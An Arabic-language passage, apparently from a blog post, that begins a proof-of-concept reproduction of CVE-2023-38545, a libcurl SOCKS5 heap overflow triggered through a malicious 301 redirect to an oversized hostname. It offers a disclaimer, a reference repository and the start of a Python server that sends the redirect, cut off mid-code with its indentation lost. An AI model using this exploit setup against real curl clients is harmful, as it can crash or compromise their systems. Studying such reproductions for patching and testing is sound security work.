
استغلال لإثبات المفهوم لثغرة CVE-2023-38545، وهي ثغرة تجاوز سعة المخزن المؤقت في الكومة (heap buffer overflow) في مصافحة وكيل SOCKS5 في libcurl، تُستثار عبر إعادة توجيه HTTP 301 خبيثة مع اسم مضيف كبير الحجم.
هذا المقال مخصص فقط للنقاش التقني والتعلم. أي عواقب مباشرة أو غير مباشرة أو خسائر ناتجة عن استخدام المعلومات المقدمة في هذا المقال يتحملها المستخدم وحده، ولا يتحمل مؤلف المقال أي مسؤولية عنها.
المشروع المرجعي: https://github.com/UTsweetyfish/CVE-2023-38545 إجراء إعادة إنتاج
1. إنشاء ملف بايثون: server.py، افتح خدمة ويب تعيد استجابة 301 مع hostname طويل جدًا، استمع على المنفذ 8000، ثم نفذ باستخدام python3:```jsx
from http.server import BaseHTTPRequestHandler, HTTPServer
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
# 301重定向到超长的URL
self.send_response(301)